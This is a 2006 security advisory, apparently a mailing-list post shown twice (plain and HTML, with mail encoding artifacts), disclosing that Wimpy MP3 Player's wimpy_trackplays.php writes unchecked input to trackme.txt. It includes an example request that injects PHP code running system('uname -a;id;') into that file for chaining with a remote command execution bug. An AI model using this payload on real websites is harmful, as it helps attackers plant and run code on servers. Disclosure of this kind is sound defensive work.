XOR Crew :: Security Advisory - Wimpy MP3 Player - Text file overwrite. (lame)
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XOR Crew :: Security Advisory =20
2/10/2006
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Wimpy MP3 Player - Text file overwrite. (lame)
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http://www.xorcrew.net/
http://www.xorcrew.net/ReZEN/
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:: Summary
Vendor : Plaino Inc.
Vendor Site : http://www.wimpyplayer.com/
Product(s) : Wimpy MP3 PLayer
Version(s) : All
Severity : Low
Impact : trackme.txt overwrite
Release Date : 2/10/2006
Credits : ReZEN (rezen (a) xorcrew (.) net)
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I. Description
Wimpy provides a simple, clean, enjoyable listening experience for
your website's
visitors. Lists and plays an entire directory full of mp3 files automatica=
lly.
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II. Synopsis
The file wimpy_trackplays.php does not check the variables passed to
it prior to
writing the contents of those variables to trackme.txt. That allows
us to write
anything we want to trackme.txt. This is not really a problem for the
server running
wimpy. The problem lies in the fact that being able to write to
trackme.txt allows
the attacker a jump off point for other Remote Command Execution Bugs
that read from
text files. These bugs are quite common and thus wimpy aids the
attacker in staying
annonymous.
Example:
http://www.site.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=3Dtra=
ckplays
&trackFile=3D<?php&trackArtist=3Dsystem("uname -a;id;");&trackTitle=3D?>
that writes:
<?php
system("uname -a;id;");
?>
to trackme.txt. Then all the attacker has to do is point is RCE
exploit to trackme.txt
and there you have it. So yeah lame vuln but interesting. Peace out.
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IV. Greets :>
All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.
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<pre>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>XOR Crew :: Security Advisory=
2/10/2006<br>=3D=3D=3D=3D=
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<br>Wimpy MP3 Player - Text file overwrite. (lame)<br>=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=3D=3D=3D<br><a href=3D"http://www.xorcrew.net/">http://www.xorcrew.n=
et/</a><br><a href=3D"http://www.xorcrew.net/ReZEN/">
http://www.xorcrew.net/ReZEN/</a><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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<br><br>:: Summary<br><br> Vendor : Plaino Inc.<br> Vendor=
Site : <a href=3D"http://www.wimpyplayer.com/">
http://www.wimpyplayer.com/</a><br> Product(s) : Wimpy MP3 PLayer<b=
r> Version(s) : All<br> Severity : Low<br> Impact =
: trackme.txt overwrite<br> Release Date : 2/10/2006<br> Cr=
edits : ReZEN (rezen (a) xorcrew (.) net)
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>I. Description<br><br>=
Wimpy provides a simple, clean, enjoyable listening experience for your web=
site's<br>visitors. Lists and plays an entire directory full of mp3 files =
automatically.
<br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>II. Synopsis<br><br>Th=
e file wimpy_trackplays.php does not check the variables passed to it prior=
to <br>writing the contents of those variables to=20
trackme.txt. That allows us to write <br>anything we want to trackme.txt. =
This is not really a problem for the server running <br>wimpy. The proble=
m lies in the fact that being able to write to trackme.txt allows<br>the at=
tacker a jump off point for other Remote Command Execution Bugs that read f=
rom
<br>text files. These bugs are quite common and thus wimpy aids the attack=
er in staying<br>annonymous. <br><br>Example:<br><br><a href=3D"http://www=
.site.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=3Dtrackplays">h=
ttp://www.site.com/pathtowimpy/goodies/wimpy_trackplays.php?myAction=3Dtrac=
kplays
</a><br>&trackFile=3D<?php&trackArtist=3Dsystem("uname -a;i=
d;");&trackTitle=3D?><br><br>that writes:<br><br><?php<br>sy=
stem("uname -a;id;");<br>?><br><br>to trackme.txt. Then all t=
he attacker has to do is point is RCE exploit to=20
trackme.txt<br>and there you have it. So yeah lame vuln but interesting. =
Peace out.<br><br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>IV. Greets :&=
gt;<br><br>All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful g=
irlfriend.
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